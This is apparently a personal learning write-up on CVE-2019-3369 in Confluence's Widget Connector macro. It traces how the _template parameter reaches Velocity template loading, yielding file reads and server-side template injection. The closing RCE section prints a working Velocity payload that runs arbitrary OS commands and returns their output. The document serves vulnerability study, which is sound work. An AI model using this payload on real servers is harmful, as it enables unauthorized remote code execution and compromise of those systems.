# *SOME WEB THINGs THAT I LEARNED (part 9)*
#### This is my first time trying to create a CVE POC, i want to share my journey and progress.
## I. Brief summary:
- ***CVE-2019-3369***: Macro Widget Connector is vulnerable to SSTI, which causes it to be RCE exploitable.

## II. POC + Explaination:
- Let's recreate the attack and explain along the way:
- We begins by logging in and create a new blank page so we can work with it.
- Now we enter something, or not. Then press the ```+``` button, and choose *```Other Macros```*.
- Then choose:

- Enter a URL, and the required properties, before pressing ```Preview```, which will then call to the **```WidgetMacro.class```**.
- When clicked on ```Preview```, you can see it calls to the ```execute``` method:
- And this is the request and response:
- Here you can see it takes in the data from the parameters: url, width and height. 
- Then passes the parameters value into the ```renderManager.getEmbeddedHtml``` function.
- Jump into it, we can see it calls to the ```getEmbeddedHtml``` function in **```DefaultRenderManager.class```**. 
- Here, it will uses ```renderSupporter.iterator()``` to iterate through the supported renderer type. 
- It then calls to ```getEmbeddedHtml()``` function in **```YoutubeRenderer.class```**:
- Let's jump into the two functions inside: ```getEmbedUrl``` and ```setDefaultParam```.
- *```getEmbedUrl```*: this functions only seems to check whether the URL we provide is matches with the regex of ```YOUTUBE_URL_PATTERN```.
- *```setDefaultParam```*:
- Takes in the value of ```width```, ```height```. If the value for ```_template``` is not set, then it will automatically set it to have a value. *But ... what happened if we set a value to it?*
- The purpose for this functions is to takes in the value of the params, and pass it back into Velocity template.
- Continue to jump in, it will then call to the ```velocityRenderService.render()``` function in the **```DefaultVelocityRenderService.class```** and call the ```render``` function:
- This function is simple as well, it prepares the values retrieve from the parameters, checking them, html encode them before passing them into a ```Map```, which will be passed into the ```getRenderedTemplate()``` function.
- **```getRenderedTemplate()```**: call ```VelocityUtils.getRenderedTemplate()``` function in **```VelocityUtils.class```**, as pass in the needed value. 
- Continue to jump in, it will call to a function with the same name. Which then calls to the ```getRenderedTemplateWithoutSwallowingErrors``` function. 
- Here, you can see, it is passing in the template name, taken from the previous ```_template``` value. 
- Continue to jump, you can see it's calling another function called ```getTemplate```.
- It passes in the template name, set the encoding, and call to another function called ```getVelocityEngine().getTemplate()``` in **```VelocityEngine.class```**. 
- From ```getVelocityEngine().getTemplate()```, it then continue to call to **```RuntimeInstance.class```**  
- Continue to call to ```resourceManager.getResource()``` function which is located in **```ConfigurableResourceManager.class```**:
- It calculated the ```resourceKey``` base on ```resourceName```, which is the template name from ```_template```, and ```resrourceType```.
- It then checks the ```cache``` base on the template name. If there exist a ```cache```, then it will returns the result to the user. If not, then it create a new one. => If you dont change the ```resourceKey```, in which, the template name, then it will return the result of the previous template.
- When cache is null, it will pass the values to ```loadResource()``` function. Which will call to 4 resource loaders in **```ConfigurableResourceManager.class```**.
- These loaders include as it will run the template through each loader:
```
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
```
- We only need to focus more on *```FileResourceLoader```* and *```ClasspathResourceLoader```*
- **```FileResourceLoader```**:
- Uses ```StringUtils.normalizePath()``` to prevent path traversal. This loader loads file from its self, checking for path traversal to prevent. 
- **```ClasspathResourceLoader```**: when using a protocol, it will call to this loader. 
- Then jump into ```ClassUtils.getResourceAsStream()``` in **```ClassUtils.class```**. From there, it will call to ```WebappClassLoaderBase```. 
- Then jump into ```classLoader.getResourceAsStream()``` function, which is in **```ClassLoader.java```** file. Here, it create an ```url``` object, which will pass to another function. 
- Continue to the ```openStream()``` function in the **```URL.java```** file, which will return the input stream that read from the open connection URL. 
- ***Result***:



- I think we can call this an SSRF sink, where we can use protocols to retrieve files within the system.
- Continue with SSTI, let's go back to the previous function. 
- Here, you can see there is a function called ```renderTemplateWithoutSwallowingErrors()```. Let's jump into it and see what it does. 
- Here you can see it uses another function called ```merge()```. Let's see what that function does.
- At the end, it called the ```SimpleNode``` with the ```render()``` function in the **```SimpleNode.class```**.
- Continue to jump into the ```render()``` function which locate in **```ASTText.class```** which extends from ```SimpleNode.class```. 
- Get into the ```write()``` function, which returns the templates. 
## III. RCE
- Let's send a file through the ```_template``` variable so we can trigger when ```Velocity``` render and trigger RCE.
```java!
$height.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
```

- Payload for RCE:
```java!
#set ($exp="hello")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
```
